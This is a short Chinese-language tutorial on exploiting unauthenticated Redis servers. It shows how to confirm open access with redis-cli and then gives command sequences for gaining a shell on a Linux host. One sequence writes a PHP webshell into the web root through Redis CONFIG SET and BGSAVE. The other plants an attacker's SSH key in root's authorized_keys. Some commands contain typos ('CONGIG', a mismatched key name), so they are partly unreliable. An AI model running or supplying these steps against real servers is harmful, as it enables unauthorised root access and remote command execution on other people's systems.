一、什么是redis未授權訪問漏洞:
1、redis是一種文檔型數據庫,快速高效,存儲在內存中,定期才會寫磁盤。主要用於快速緩存,數據轉存處理等。默認redis開在6379端口,可以直接訪問。並不需要任何認證信息,由此帶來了巨大的安全隱患。
2、如何驗證redis未授權訪問是否開啟:
1 #使用kali或者任何linux系統安裝redis-cli 2 redis-cli -h target_ip 3 #成功即說明未授權訪問。
3、未授權訪問如何拿到shell呢,這里講解redis服務器開在linux上的情況。
(1)寫webshell:
條件:有web服務器,根目錄已知
1 CONFIG SET dir /path/www/html # 修改備份目錄 2 CONGIG SET dbfilename trojan.php # 修改備份文件名為我們的shell名 3 SET trojan "<?php system($_GET['cmd']);?>" 4 BGSAVE 5 DEL payload 6 CONFIG SET dir /usr/local/redis 7 CONGIG SET dbfilename dump.rdb 8 #最好使用CONFIG GET 看看原來啥樣就回復成啥樣 9
(2)寫公鑰ssh登錄
1 cd /root/.ssh/ 2 ssh-keygen -t rsa 3 /root/.ssh/id_rsa 4 vim /root/.ssh/id_rsa.pub #==== >public key 5 config set dir /root/.ssh/ 6 config set dbfilename authorized_keys 7 set x "public_key" 8 save 9 del x 10 config set dir /usr/local/redis 11 config set dbfilename dump.rdb 12 ssh -i ./id_rsa root@target_ip